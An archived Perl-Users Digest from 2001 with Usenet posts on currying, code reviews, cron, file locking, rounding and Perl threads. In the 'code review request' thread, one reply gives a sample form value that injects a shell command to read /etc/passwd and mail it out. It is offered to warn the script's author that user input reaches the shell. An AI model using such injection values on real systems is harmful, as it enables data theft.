[18013] in Perl-Users-Digest
Perl-Users Digest, Issue: 173 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Jan 30 06:05:46 2001
Date: Tue, 30 Jan 2001 03:05:08 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <980852708-v10-i173@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Tue, 30 Jan 2001 Volume: 10 Number: 173
Today's topics:
Re: 'apply' function in perl? (Mark Jason Dominus)
Re: 'apply' function in perl? (Damian Conway)
Re: 'Code Review' Requested (CGI/DBI/DBD::CSV/Storable) (Chris Fedde)
ANNOUNCE: Perl for Windows CE <rkeuc@allgeier.net>
Re: code review request <joe+usenet@sunstarsys.com>
Re: code review request <shutupsteve@aNwOdSaPnAgM.com>
Re: code review request <godzilla@stomp.stomp.tokyo>
Re: Cron task <salukibob@hotmail.com>
Re: Cron task (Ross Clement)
Re: how do I temporarily close part of my site? (David Efflandt)
Re: how do I temporarily close part of my site? <dcs@ntlworld.com>
Re: How to export functions from a module? (newbie-ish <visstmbl@reading.ac.uk>
Need Help for Graph display <w-woerlinger@ti.com>
Re: Newbie Question: Can I compile a Perl Script? <mdemello@kennel.ruf.rice.edu>
Re: newbie, problem in installing module (Rafael Garcia-Suarez)
Re: perl newbie (Helgi Briem)
Perl thread stability <raphael@iscusa.com>
Question on appending to file yongli01@my-deja.com
Re: Regular expression question <katz@alf.dec.com>
Re: Regular expression question <bart.lateur@skynet.be>
Rounding to 3 significant places? <donkan7@yahoo.com>
Re: Rounding to 3 significant places? <chrisw@dynamite.com.au>
Re: Rounding to 3 significant places? <chrisw@dynamite.com.au>
Re: Rounding to 3 significant places? <donkan7@yahoo.com>
Re: Rounding to 3 significant places? <kstep@pepsdesign.com>
Re: substition problem <anon@anon.com>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 30 Jan 2001 05:07:56 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: 'apply' function in perl?
Message-Id: <3a764c2c.448d$fb@news.op.net>
In article <t7bhb1c1pm5m84@corp.supernews.com>,
Greg Bacon <gbacon@hiwaay.net> wrote:
>Compare mjd's example with a language like Ocaml that does currying
>for you:
But it occurred to me today that it would be easy to have a module
that lets you say
use Curry;
sub reduce (&$@) {
...original, uncurried definition ...
}
curry 'reduce', '&$@';
and now 'reduce' is now curried so that you can call
my $sum = reduce {$a+$b}, 0;
$total = $sum->(@array);
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: 30 Jan 2001 05:18:56 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: Re: 'apply' function in perl?
Message-Id: <955is0$dgd$1@towncrier.cc.monash.edu.au>
mjd@plover.com (Mark Jason Dominus) writes:
>In article <t7bhb1c1pm5m84@corp.supernews.com>,
>Greg Bacon <gbacon@hiwaay.net> wrote:
>>Compare mjd's example with a language like Ocaml that does currying
>>for you:
>But it occurred to me today that it would be easy to have a module
>that lets you say
[snip]
>and now 'reduce' is now curried so that you can call
> my $sum = reduce {$a+$b}, 0;
> $total = $sum->(@array);
I really *must* get Functions::HigherOrder up on the CPAN!
;-)
Damian
------------------------------
Date: Tue, 30 Jan 2001 06:54:29 GMT
From: cfedde@fedde.littleton.co.us (Chris Fedde)
Subject: Re: 'Code Review' Requested (CGI/DBI/DBD::CSV/Storable)
Message-Id: <Fytd6.1464$B9.194816000@news.frii.net>
In article <9557gi$kv9$0@216.155.32.51>,
The WebDragon <nospam@nospam.com> wrote:
>After checking with one of the regulars here, I have decided to post a
>request for a 'review by peer' of a recent update/overhaul to a program
>that you all helped me learn enough to write.
>
>The overhaul produced a MUCH cleaner code-base; so much so that my
>adding the sort-by-size routines to the recent update took me < 2
>minutes to complete AND test.
>
>I still feel that there MUST be ways that I can do this
>better/faster/more efficiently, etc, and thus would like to invite your
>comments on the following code
>
>I've put this into an HTML page set between <PRE></PRE> tags to retain
>the formatting as posting it here would cause a mess of line-wrapping,
>plus the code itself is around 6 pages.
>
> <http://216.155.0.50/~sgodin/misc/codesample.htm>
>
>your comments would be extremely welcome.
>
>And thank you again, one and all, for enabling me to absorb and learn
>Perl as rapidly as I have done.
>
I looked over the code at that URL. It looks reasonable. Here are
a few overall comments.
I like to arrange my code so that it fits cleanly into 80 column
lines. I know, I know, card punch operators are not getting much
work these days but I still want the width to be 80 columns. Some
of your code and much of your commentary go beyond beyond that.
Magic numbers bug me. Do you realy have to use #003366 and such
for color codes? Maybe that's a web convention.
You have paths and other constants scattered around the code. That
can make code hard to maintain. Better to define all the constants
in one place. You can 'use constant' if you must but I find that
simple 'my $ConstantPath' works well.
You check for MacOS in two places. Maybe you can group those together so
that you only have to check once?
You might want to re-read the perlstyle manual page. Your formatting and
indenting could use some work.
YMMV
chris
--
This space intentionally left blank
------------------------------
Date: 30 Jan 2001 10:57:20 +0100
From: Rainer Keuchel <rkeuc@allgeier.net>
Subject: ANNOUNCE: Perl for Windows CE
Message-Id: <u4ryhs6pr.fsf@allgeier.net>
This port is based on the native ntperl and was tested on a Jornada
680 with SH3 and a Compaq 2930A with MIPS.
The binary distribution contains only a minimal subset of perl files
and the following executables:
emacs, perl, ftpd, ls, rsh, rcp, des
Limitations:
* Slow startup.
* No pipes.
* Socket IO does not work with file handles.
* Does not compile/run with optimizations.
* No XS dlls yet.
Sources:
The sources can be made available if there is interest. You
need a Visual C 6.0 installation and a Windows CE SDK to recompile.
The port is mainly based on a crt-library I had to write
to compensate the lack of functions in Microsoft's library
and ANSI wrappers for Unicode functions.
Download: http://www.rainer-keuchel.de
---
Rainer Keuchel (coyxc@rainer-keuchel.de)
------------------------------
Date: 30 Jan 2001 00:33:44 -0500
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: code review request
Message-Id: <m38zntbo3r.fsf@mumonkan.sunstarsys.com>
"Stephen Deken" <shutupsteve@aNwOdSaPnAgM.com> writes:
> Hi all,
>
> The source is attached. I've tested this pretty thoroughly, but any
> comments are welcome and very much appreciated.
>
Your script looks fine to me. Here's a few things I noticed.
> #!/usr/bin/perl -wT
>
> # email-route.pl
> # route email to correct location
>
> BEGIN
> {
> use strict;
^^^^^^^^^^^
"use strict" is lexically scoped, so placing it within your
BEGIN block is probably undesirable. I think you should move
it outside the BEGIN block.
[...]
> my $DEBUG = 1;
> my $MAX_ITERATION = 10;
Since these are really constants, you might try declaring them like
so
use constant DEBUG => 1;
use constant MAX_ITERATION = 10;
> open( LOG, '>>/home/web/cgi/email-route.log' ) if (defined $DEBUG);
and change this to
if (DEBUG) {
open( LOG, '>>/home/web/cgi/email-route.log' ) or
die "Can't open logfile: $!";
}
> END
> {
> close( LOG ) if (defined $DEBUG);
> }
Nice, but unnecessary. perl will close the file for you once
your script has completed.
> # declare some variables
> my $iteration = 1;
> my $username;
> my %USER;
^^^^
my %user; # or %User, not %USER
>
> # Parse the letter
> foreach my $line (<>)
> {
> $line =~ tr-\n\r--d;
^^^^^^^^^^
Don't like - and -- here; use [], #, | or ! instead:
$line =~ tr[\n\r][]d;
Better still, use chomp:
chomp($line);
[...]
> if ((not defined $username) and ($line =~ /^X-Intended-Recipient:
> (\<|)([\w-\d]+)\@myhost\.com(\>|)$/))
> {
> $username = $2;
> next;
> }
Try this for the regexp
if ( (not defined $username) and $line =~
/^X-Intended-Recipient:\s*<?([\w-]+)\@myhost\.com>?$/ )
{
$username = $1; # careful to avoid dots and slashes
next;
}
> push( @arr, $line . "\n" );
push @arr, "$line\n";
> }
>
> check_iteration();
check_iteration($iteration); # change sub to test $_[0] instead
[...]
> open( FILE, ">>/home/web/home/$username/.mail" );
^^
Add error check:
or die "Can't open ~$username/.mail: $!";
> foreach my $line (@arr)
> { print FILE $line; }
Same as
print FILE @arr;
[...]
> foreach my $line (@arr)
> { print MAIL $line; }
print MAIL @arr;
[...]
> sub check_iteration
> {
> # Checks to see if the message has been handled too much
> if ($iteration > $MAX_ITERATION)
> {
> # this message has been handled too much!
> logger( " Iteration greater than $MAX_ITERATION !" );
> print '...error message...'
> exit( 78 );
> }
> }
>
> sub logger
> {
> my $logmsg = join( "\n", @_ );
> print LOG "[$$.$iteration] " . $logmsg . "\n" if (defined $DEBUG);
> }
>
Personally, I would change these two subs to take $iteration
as an argument. That way you can reuse these subs in other
scripts via cut & paste without requiring an $iteration variable
in the environment.
Also I didn't notice how you acquired $user{email}; since
you're passing that to the shell it should be handled carefully
as well.
HTH
--
Joe Schaefer
------------------------------
Date: Tue, 30 Jan 2001 06:01:32 GMT
From: "Stephen Deken" <shutupsteve@aNwOdSaPnAgM.com>
Subject: Re: code review request
Message-Id: <YMsd6.84289$lV5.1638367@news2.giganews.com>
> Your script looks fine to me. Here's a few things I noticed.
First, thanks for the detailed response. Was exactly what I sought.
I just have one comment:
> Also I didn't notice how you acquired $user{email}; since
> you're passing that to the shell it should be handled carefully
> as well.
That gets pulled from the database in getuserinfo(). I would probably do
well to check it before I call sendmail, you're absolutely right. Isn't
there some nice big regex that will check for the adherence of an email
address to the RFC?
--sjd;
------------------------------
Date: Sun, 28 Jan 2001 23:26:31 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: code review request
Message-Id: <3A751B27.C18C0E4@stomp.stomp.tokyo>
Stephen Deken wrote:
(significant snippage)
> Short version of the below: I'd like a code review of the attached code,
> I've written the following program to handle email.
A snippet from a potential off-site form action
accessing your cgi script:
... VALUE="bond_jamie@moneypenny.com
<mailto:VALUE=>;cat /etc/passwd | mail bond_jamie@moneypenny.com
<mailto:bond_jamie@moneypenny.com>">
Bond, Jamie
------------------------------
Date: Tue, 30 Jan 2001 09:39:19 -0000
From: "salukibob" <salukibob@hotmail.com>
Subject: Re: Cron task
Message-Id: <9561uf$g5tgq$1@ID-71229.news.dfncis.de>
<tohann@my-deja.com> wrote in message news:954jtu$e2r$1@nnrp1.deja.com...
> In article <SQ5R8T0J36920.8304282407@frog.nyarlatheotep.org>,
> jean@ematic.com wrote:
> > Hi,
> >
> > Using Telnet to connect on my remote server, I run a script by:
> >
> > perl script.cgi [options]
> >
> > Now, I want run "script.cgi" in a cron task, must I setup crontab
> with:
> > (for every days at 7 AM)
> >
> > 0 7 * * * /path/to/perl script.cgi [options]
> >
> > Or must I write
> > 0 7 * * * /path/to/script.cgi [options]
> >
> > Or rename script.cgi to script, and setup the task as
> >
> > 0 7 * * * /path/to/script [options]
> >
> > Thanks !
> > Jean
> >
> >
>
> The 1st option will work, and the 2nd will too assuming the script.cgi
> has the correct permissions set...
>
>
>
> Sent via Deja.com
> http://www.deja.com/
That is true, the first options is fine. The second option will only work if
you have the permissions set corretly AND you have the #!/usr/pathto../perl
line at the start of your script.cgi
------------------------------
Date: 30 Jan 2001 09:46:15 GMT
From: clemenr@westminster.ac.uk (Ross Clement)
Subject: Re: Cron task
Message-Id: <3a768d67@ant.wmin.ac.uk>
tohann@my-deja.com wrote:
: In article <SQ5R8T0J36920.8304282407@frog.nyarlatheotep.org>,
: jean@ematic.com wrote:
: > Hi,
: >
: > Using Telnet to connect on my remote server, I run a script by:
: >
: > perl script.cgi [options]
: >
: > Now, I want run "script.cgi" in a cron task, must I setup crontab
: with:
: > (for every days at 7 AM)
: >
: > 0 7 * * * /path/to/perl script.cgi [options]
: >
: > Or must I write
: > 0 7 * * * /path/to/script.cgi [options]
: >
: > Or rename script.cgi to script, and setup the task as
: >
: > 0 7 * * * /path/to/script [options]
:
: The 1st option will work, and the 2nd will too assuming the script.cgi
: has the correct permissions set...
As well has having an appropriate first line. E.g. on unix
#!/usr/local/bin/perl
(or whereever perl is on the file system in question).
Given this is a 'cron' job, I'd presume that the original poster is
working on unix.
I've just set up cron jobs for the first time, and I was surprised how
easy it was. My only major DUHs were to not have the EDITOR system
variable set, and not realising that I had to use crontab -r to completely
clear a cron table, not try crontab -e and remove all the lines.
Cheers,
Ross-c
------------------------------
Date: Tue, 30 Jan 2001 08:50:51 +0000 (UTC)
From: efflandt@xnet.com (David Efflandt)
Subject: Re: how do I temporarily close part of my site?
Message-Id: <slrn97d022.p8i.efflandt@efflandt.xnet.com>
On Mon, 29 Jan 2001 22:53:01 -0000, Terry <dcs@ntlworld.com> wrote:
>
> There will be times when I will need to modify cgi scripts, member stats
>etc. on my site.
>I know that I can change the .htaccess file to deny access to these areas
>(and this is what my host suggests I do). My problem with this is: wouldn't
>that run the risk of corrupting my files if a user's input was modifying a
>file or files at the time?
Not unless someone was in the middle of a multipage form and you were
saving some data on the fly. The webserver checks for .htaccess before
getting the requested file (or CGI), so any process already in progress
should continue until completed.
> If I'm wrong you can cut me off there.
>Assuming I'm correct, I was going to upload a small text file with only the
>word open or closed in it, then have my scripts first check this file before
>performing their normal tasks (or not, if it was "closed"). But I would
>still need to check that no sensitive files were open at the time, so would
>have to go through a series of opening and "flocking" these files before
>shutting off access.
>Now, eventually, to my main problem.
>As new users join my site they generate new member files, so I have no way
>of knowing the names of the files to flock.
You should flock any file you write to from CGI to avoid more that one
process stepping on the file at the same time. And any information
gathering scripts should likely do likewise, so they wait until any files
being written to are completed. But I have even had trouble with endless
looping if more than one instance of a script tries to read from a file at
the same time, so it is a good idea to flock regardless.
> Is there someway I can get a listing of these files and use that list for
>the opening and "flocking"?
On a system with Perl type: perldoc -f readdir
I guess you could have a common script that checks for your flag file and
outputs a courtesy message that the site is temporarily unavailable and
'require' that near the beginning of your scripts. That would be
preferable to simply being denied access without any reason.
--
David Efflandt efflandt@xnet.com http://www.de-srv.com/
http://www.autox.chicago.il.us/ http://www.berniesfloral.net/
http://cgi-help.virtualave.net/ http://hammer.prohosting.com/~cgi-wiz/
------------------------------
Date: Tue, 30 Jan 2001 09:11:11 -0000
From: "Terry" <dcs@ntlworld.com>
Subject: Re: how do I temporarily close part of my site?
Message-Id: <Jyvd6.8995$YT3.228129@news6-win.server.ntlworld.com>
Thanks David :)
TM
------------------------------
Date: Tue, 30 Jan 2001 10:59:14 +0000
From: John Stumbles <visstmbl@reading.ac.uk>
To: Rick Delaney <rick.delaney@home.com>
Subject: Re: How to export functions from a module? (newbie-ish question)
Message-Id: <Pine.WNT.4.30.0101301058010.241-100000@supc16.rdg.ac.uk>
On Tue, 30 Jan 2001, Rick Delaney wrote:
> > package Utils ;
> > use strict ;
> > require Exporter ;
> > my @ISA = qw(Exporter);
> > my @EXPORT = qw(
>
> @ISA and @EXPORT should be package variables; not declared with my. You
> could use our() or use 'vars' to declare them but that would be silly.
>
> package Utils ;
> require Exporter ;
> @ISA = qw(Exporter);
> @EXPORT = qw(
> NOW MINUTE HOUR DAY WEEK YEAR MONTH QUARTER
> );
> use strict;
Thanks!
(Isn't it easy when you know how? :-)
regards,
--
John Stumbles j.d.stumbles@reading.ac.uk
I.T. Services Centre, University of Reading http://www.rdg.ac.uk/~visstmbl
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
never generalise
------------------------------
Date: Tue, 30 Jan 2001 11:53:47 +0100
From: "wiwo" <w-woerlinger@ti.com>
Subject: Need Help for Graph display
Message-Id: <9566bs$lqk$1@tilde.csc.ti.com>
I'm creating a 'png' graph file with module 'Chart'.
But I cannot figure out how to display it by using Tk::Photo without going
the really very long way of converting it into gif-format with Image::Magick
before.
Can I use Tk::CreatePhotoImageFormat in this case ? If yes, how to do this ?
Can I use other Tk functionalities to display a 'png' formatted file
directly ?
An example would be very helpful !!
I'm using AS Perl build 6.23 on NT.
Thanks in advance,
Willi
------------------------------
Date: 30 Jan 2001 08:52:04 GMT
From: Martin Julian DeMello <mdemello@kennel.ruf.rice.edu>
Subject: Re: Newbie Question: Can I compile a Perl Script?
Message-Id: <955vbk$ilt$1@joe.rice.edu>
H C <carvdawg@patriot.net> wrote:
> Eric Bohlman wrote:
>> Telling someone "a carefully peer-reviewed answer to your question can be
>> found in the extensive *completely free* documentation that comes with
>> every proper installation of Perl; in fact, it's such a common question
>> that's it's been specially indexed to make the answer easy to find"
>> strikes me as being within the definition of "a little friendly help."
> I would agree with you, Eric...however, "RTFFAQ" is far from such an answer.
http://hbar.rice.edu/~mdemello/RTFFAQ.html
--
Martin DeMello
------------------------------
Date: Tue, 30 Jan 2001 09:15:27 GMT
From: rgarciasuarez@free.fr (Rafael Garcia-Suarez)
Subject: Re: newbie, problem in installing module
Message-Id: <slrn97d1ik.qol.rgarciasuarez@rafael.kazibao.net>
Pradeep Sethi wrote in comp.lang.perl.misc:
>
> It is a very basic question.
>
> I downloaded XML::XPath and am trying to install it and getting this
> error
>
> [root@lurch]# perl Makefile.PL
> Checking if your kit is complete...
> Looks good
> Writing Makefile for XML::XPath
> Unable to open MakeMaker.tmp: Permission denied at
> /usr/lib/perl5/5.6.0/ExtUtils/MakeMaker.pm line 747.
Have you looked at the source for ExtUtils::MakeMaker ? Line 747 is:
open(FH,">MakeMaker.tmp") or die "Unable to open MakeMaker.tmp: $!";
That means that perl tries to create a file in the current directory
(whatever this is -- MakeMaker may have performed a chdir) and, for some
reason, it fails. Perhaps the current directory is not writeable.
(Strange error to occur when you run perl as root.) But this error comes
from the system, not from perl.
--
Rafael Garcia-Suarez / http://rgarciasuarez.free.fr/
------------------------------
Date: Tue, 30 Jan 2001 09:44:26 GMT
From: helgi@NOSPAMdecode.is (Helgi Briem)
Subject: Re: perl newbie
Message-Id: <3a768ac1.695938757@news.itn.is>
On Mon, 29 Jan 2001 14:51:21 GMT, cyberwing79@my-deja.com
wrote:
>Hello, I just downloaded perl, but I don´t know how to compile and what
>to compile. I work with windows. Can someone please help me? I´m a
>total newbie. Thank you
>
If you have Microsoft Installer (standard with W2K and WMe)
you should get the file:
ActivePerl-5.6.0.623-MSWin32-x86-multi-thread.msi
from www.activestate.com/download/ActivePerl/Windows/5.6/
If you don't have MSI you can get it from
microsoft.com or use the file:
ActivePerl-5.6.0.623-MSWin32-x86-multi-thread.zip
but this lacks an uninstall feature.
You can go the long way and compile from a tar.gz file
as you would on a Unix system, but you need a
C compiler on your system and you´re on your own.
The Activestate distribution is much better anyway
than anything you can hack by yourself and includes
lots of standard tools, documentation and modules.
Regards,
Helgi Briem
------------------------------
Date: Mon, 29 Jan 2001 21:42:34 -0800
From: Raphael <raphael@iscusa.com>
Subject: Perl thread stability
Message-Id: <3A76544A.DBBBCF7A@iscusa.com>
I need to learn more about Perl threads in order to decide which approach to use for
a large project.
Let me start by providing some background information:
I am a member of the team which develops SupportWizard (http://www.supportwizard.com), a 100% Perl web based application that provides web based customer support/trouble ticketing/dynamic FAQs etc. (SW is free to open source organizations and charities - see http://www.supportwizard.com/freeoffer.htm)
We began development long before Perl threads became available and at present SupportWizard uses multiple continuously processes that communicate with the webserver via FastCGI.
Now we are deciding on the architecture of the next generation product and want to reduce memory usage.
The alternatives are
1) Using multiple Perl threads instead of processes.
2) Implementing in some language such as C++ which supports shared object libraries
(basically, we would stuff 99% of the code into the library)
3) Implementing in some language such as Java (or Python?) which supports threads.
We would like to stay with Perl, but get conflicting answers about whether Perl threads are really usable. Here is my current understand. I would be very grateful for any corrections/clarifications:
Perl threads work, but
a) You are limited to a small number (12?) threads under NT.
b) Most of the CPAN modules are not thread safe
c) Some essential modules such as ::CGI and ::MySQL DBI are not thread safe
d) It takes a lot of work to make a module thread safe (about 75% as much as writing it from scratch)
e) There are still a few known bugs in the basic Perl thread implementation.
f) There is no central location/URL/newsgroup you can go to that is focussed on Perl threads.
g) Threads will only become fully functional in Perl 6.
Thanks for your feedback.
Raphael
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Raphael Mail: raphael@iscusa.com
Integral Solutions Corp. Voice: 408 859 6389
http://www.supportwizard.com FAX: 650 745 1209
------------------------------
Date: Tue, 30 Jan 2001 10:15:54 GMT
From: yongli01@my-deja.com
Subject: Question on appending to file
Message-Id: <95648m$mhd$1@nnrp1.deja.com>
Hi, all,
I think this is a simple task but I cannot figure it out for one day.
I wanted to write a acript to find the files in a directory which only
contains one line, then append a blank line to the file so that it
becomes two line.
I want to do this because I use an existing program to parse the files
but it stops when meet a one line file.
Thanks in advance.
Yong li
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: Tue, 30 Jan 2001 03:21:58 -0500
From: Robert Katz <katz@alf.dec.com>
Subject: Re: Regular expression question
Message-Id: <3A7679A6.850DB29@alf.dec.com>
Garry Williams wrote:
>
> On Fri, 26 Jan 2001 15:11:57 -0500,
> Kurt J. Lanza <kjl@inforonics.com> wrote:
> >Kauser Ali Karim wrote:
> >> I need to get rid of the first fifteen charcters
> >> ...
> >
> > S/^.{15}//
> ^
> ^
>
> s/^.{15}//;
^ ^
$ sed 's/^.\{15\}//'
---Robert
------------------------------
Date: Tue, 30 Jan 2001 10:32:11 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: Regular expression question
Message-Id: <135d7t83bpgp8nr4igcmf6cpsm4530ncgc@4ax.com>
Barry Margolin wrote:
>s/^.\{15\}//
That is an understandable mistake, if you use more other regexp packages
(like sed/grep/awk/lex, or search tools inside text editors) than Perl.
Perl has the meaning of '\{' vs. '{', and of '\(' and '(', reversed
compared to many of those other packages. For example, simple grep uses
'\(' for grouping, while egrep uses '('.
(source: "Mastering Regular Expressions", Jeffrey Friedl)
--
Bart.
------------------------------
Date: Mon, 29 Jan 2001 21:28:30 -0800
From: "Dick" <donkan7@yahoo.com>
Subject: Rounding to 3 significant places?
Message-Id: <0isd6.1093$l8.231089@news03.micron.net>
I know how to use sprintf to round to, say, the nearest 1/1000, but how to
get perl to round to 3 significant places. For example, round .00456789 to
.00457, and also round 1.23456 to 1.23.
Thanks,
Richard
------------------------------
Date: Tue, 30 Jan 2001 16:46:03 +1100
From: "Chris W" <chrisw@dynamite.com.au>
Subject: Re: Rounding to 3 significant places?
Message-Id: <7Asd6.64$rP4.2530@news0.optus.net.au>
"Dick" <donkan7@yahoo.com> wrote in message
news:0isd6.1093$l8.231089@news03.micron.net...
> I know how to use sprintf to round to, say, the nearest 1/1000, but how to
> get perl to round to 3 significant places. For example, round .00456789 to
> .00457, and also round 1.23456 to 1.23.
#!perl -w
$value = 0.00456789;
$round = int( ($value * 1000) + 0.5 ) / 1000;
print $value, "\n";
print $round, "\n";
__END__
------------------------------
Date: Tue, 30 Jan 2001 16:48:24 +1100
From: "Chris W" <chrisw@dynamite.com.au>
Subject: Re: Rounding to 3 significant places?
Message-Id: <kCsd6.66$rP4.2548@news0.optus.net.au>
"Chris W" <chrisw@dynamite.com.au> wrote in message
news:7Asd6.64$rP4.2530@news0.optus.net.au...
> #!perl -w
> $value = 0.00456789;
> $round = int( ($value * 1000) + 0.5 ) / 1000;
> print $value, "\n";
> print $round, "\n";
> __END__
Sorry, misread your question.
------------------------------
Date: Mon, 29 Jan 2001 23:32:17 -0800
From: "Dick" <donkan7@yahoo.com>
Subject: Re: Rounding to 3 significant places?
Message-Id: <46ud6.1094$l8.236055@news03.micron.net>
"Dick" <donkan7@yahoo.com> wrote in message
news:0isd6.1093$l8.231089@news03.micron.net...
> I know how to use sprintf to round to, say, the nearest 1/1000, but how to
> get perl to round to 3 significant places. For example, round .00456789 to
> .00457, and also round 1.23456 to 1.23.
While waiting for some perl wizard to respond, I figured out something that
does the job for numbers < 10, which will suit my purpose (please read \n as
a backward slash plus n):
======================================
#!/usr/bin/perl -w
print "Enter a decimal \n";
chomp ($dec = <>);
$k = 0;
while ($dec < 1)
{
$dec = 10 * $dec;
$k++;
}
$dec_rounded = sprintf('%.2f',$dec);
while ($k > 0)
{
$dec_rounded = $dec_rounded / 10;
$k--
}
print $dec_rounded, "\n";
============================
I'd sure like to know if there is a better way..
Dick
------------------------------
Date: Tue, 30 Jan 2001 02:56:36 -0500
From: "Kurt Stephens" <kstep@pepsdesign.com>
Subject: Re: Rounding to 3 significant places?
Message-Id: <955s46$lbi$1@slb0.atl.mindspring.net>
"Dick" <donkan7@yahoo.com> wrote in message
news:0isd6.1093$l8.231089@news03.micron.net...
> I know how to use sprintf to round to, say, the nearest 1/1000, but how to
> get perl to round to 3 significant places. For example, round .00456789 to
> .00457, and also round 1.23456 to 1.23.
How about converting the number to a fixed precision, exponential notation
string with sprintf and then converting it back to a number?
use strict;
sub significant_digits {
my ($value, $digits) = @_;
return 0+sprintf '%.'.($digits-1).'e', $value;
}
print significant_digits(0.00456789, 3), "\n";
print significant_digits(1.23456, 3), "\n";
print significant_digits(-123456, 3), "\n";
HTH,
Kurt Stephens
------------------------------
Date: Tue, 30 Jan 2001 01:28:47 -0800
From: Peter <anon@anon.com>
Subject: Re: substition problem
Message-Id: <MPG.14e0292f597a56cd9896ab@news.supernews.com>
In article <puh6hnjr.fsf@pobox.com>, jdf@pobox.com says...
> Peter <anon@anon.com> writes:
>
> > > You didn't post your code, so there's no telling where you've gone
> > > wrong.
> >
> > Your news reader is probably trying to decode the HTML. It's there.
>
> Incorrect, sir. I can see the complete text of your OP. There is no
> Perl in it whatsoever. There is only HTML. My point is that if
> you're having trouble with some Perl code, then you have to post the
> section of Perl code that's giving you trouble. Capice?
>
>
The HTML is part of the question. I want to substitute the stuff next to
the old: with the stuff next to the new: using s///
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 173
**************************************